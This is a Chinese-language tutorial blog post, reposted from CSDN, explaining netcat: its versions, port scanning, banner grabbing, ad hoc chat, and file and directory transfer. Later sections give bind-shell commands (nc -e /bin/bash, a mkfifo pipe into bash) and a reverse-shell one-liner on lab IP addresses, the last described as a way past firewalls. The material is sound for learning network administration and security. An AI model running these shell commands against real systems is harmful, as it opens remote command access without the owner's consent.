当前位置: 首页 > 工具软件 > Netcat > 使用案例 >

netcat

傅嘉悦
2023-12-01

简介
netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。

各种版本的netcat
netcat有非常多的版本,刚开始我自己也很混乱,因为各个版本的netcat使用方法和参数都不太一样。这里列举下我现在实验环境中的几个版本。

case1
Kail Linux自带的nc工具,版本是v1.10-41+b1。

这个版本支持-e参数。

man nc

case2
CentOS 6.4自带的nc工具,是BSD General版本的。

这个版本不支持-e参数。

用man命令查看,man nc。

case3
源码安装了GNU netcat版本,源码地址是http://netcat.sourceforge.net/

这个版本支持-e参数。

总结
之前看网上资料,有按照netcat-openbsd版本和netcat-traditional版本来区分,但是我也没找到这两个所谓版本的源头或者官方网址。但是无论如何,netcat各个版本大同小异,主要还是要自己看一下你的机子上的netcat的使用参数。

nc -h  看简易参数介绍

man nc 看详细使用手册

netcat能干啥?
下面进入正题,介绍netcat一些牛叉的功能。

端口扫描
基本用法

nc -z -v -n 127.0.0.1 21-25
可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.
-z 参数告诉netcat使用0 IO,连接成功后立即关闭连接,不进行数据交换
-v 参数指使用冗余选项,即详细输出
-n 参数告诉netcat不使用DNS解析,即仅仅是一串IP数字,一般如果后面是跟IP数字的话,就带上-n参数;跟着是域名的话,就不带-n参数。

这个命令会打印21到25所有开放的端口。
Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。

一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。 
nc -v 127.0.0.1 22
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。


聊天服务
假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个聊天服务器,一个预先确定好的端口,这样子他就可以联系到你了。

Server

nc -l -p 20000

有的nc版本不需要-p参数,具体请看各个版本nc的参数介绍

nc -l 20000 
Client
nc -n 192.168.71.131 20000


netcat在Server的20000端口启动了一个tcp服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

文件传输
大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件a.txt 从A 到B。A或者B都可以作为服务器或者客户端。

这里实验环境:

A ip:192.168.71.131

B ip:192.168.71.130

Case1:以下,让A作为服务器,B为客户端。 

这里我们创建了一个服务器在Server A上并且重定向netcat的输入为文件a.txt,那么当任何成功连接到该端口,netcat会发送a.txt的文件内容。
在客户端Client B我们重定向输出到a.txt,当Client B连接到Server A,Server A发送文件内容,Client B保存文件内容到a.txt。


Case2:同样,也可以让A作为客户端,B作为服务器。

 在Server B上(-l参数监听TCP)

nc -l -p 20000 > a.txt
然后再Client A上
nc -n 192.168.71.130 20000 < a.txt


总结:nc用在文件传输或者目录传输上,传一些简单的,小的文件比较靠谱,传输大文件还是用其他工具把。因为nc传输结束后,没有任何提示,也就是说,我们无法看出文件是否传输结束。

目录传输
和文件传输类似,只是加上了tar命令的联合使用。

这里,我们还是假设,你想要传一个目录test 从A 到B。

这里实验环境:

A ip:192.168.71.131

B ip:192.168.71.130

Case1:以下,让A作为服务器,B为客户端。 

//Server A上
tar -cvf - ./test/ | nc -l -p 20000

这里的减号很重要,代表标准输出流。

//Client B上
nc -n 192.168.71.131 20000 | tar -xvf -

远程shell
可以使用telnet和ssh创建远程shell,netcat为我们提供第三种方式。

这里实验环境:

A ip:192.168.71.131

B ip:192.168.71.130
假设我要在B机器上打开A机器的shell,那么这里把A做为netcat的Server,把B做为netcat的Client。

这里分2种情况

Case1:

假如A机器上的netcat版本支持-e参数(详细见上面第一节的描述)

那么在Server A上运行命令如下:

nc -l -p 20000 -e /bin/bash

然后在Client B上运行命令如下:

nc -n 192.168.71.131 20000

然后在Client B上就可以执行shell远程命令了,如上图ls出A机器上的目录。

Case2:

假如A机器上的netcat版本不支持-e参数

可以用fifo文件和管道重定向来实现。

在Server A上执行命令如下:

mkfifo ./fifo
cat ./fifo | /bin/bash 2>&1 | nc -l -p 20000 > ./fifo

在Client B上执行命令如下:

nc -n 192.168.71.131 20000

就可以在B机器上执行A的远程shell了。
这里解释下原因,

我们创建了一个fifo文件,然后使用管道把这个fifo文件内容定向到bash 2>&1中(2>&1 是用来重定向标准错误输出和标准输出)。然后管道到netcat 运行的端口20000上。然后,我们再把netcat的输出重定向到fifo文件中。

整个流程就是:
step1:从网络收到的输入写到fifo文件中;
step2:cat命令读取fifo文件并且其内容发送给bash命令;
step3:bash命令进程受到输入并把结果写回到netcat;
step4:netcat通过网络发送输出到client;

至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。 

PS:

Case2的情况中,如果/bin/bash 加了-i参数,在B机器上会显示出主机名和用户名,如下

cat ./fifo | /bin/bash -i 2>&1 | nc -l -p 20000 > ./fifo


反向shell
反向shell经常用于绕过防火墙。

这里实验环境:

A ip:192.168.71.131

B ip:192.168.71.130
假设我要在A机器上打开B机器的shell,如果按照正向shell的做法,应该是把A当成netcat的Client,把B当成netcat的Server,在B上用-l参数监听输入的链接。

但是如果防火墙屏蔽了输入,只允许输出,那么这时候就是反向shell发挥作用的时候了。

反向shell的做法是把A当成netcat的Server,把B当成netcat的Client,然后在A上用-l参数监听netcat的链接。

首先在A上执行命令:

nc -l -p 20000


然后在B上执行命令:

nc -n 192.168.71.131 20000 -e /bin/bash

然后在A上执行shell命令就可以了,相当于是B的远程shell了。

结束语
netcat的主要作用就介绍这些,还有一些其它不常用的方法我就不介绍了,可以看这个链接
————————————————
版权声明:本文为CSDN博主「相忘于江湖吧」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/chenj_freedom/article/details/77099909

 

其他:https://linux.die.net/man/1/nc

 类似资料:

相关阅读

相关文章

相关问答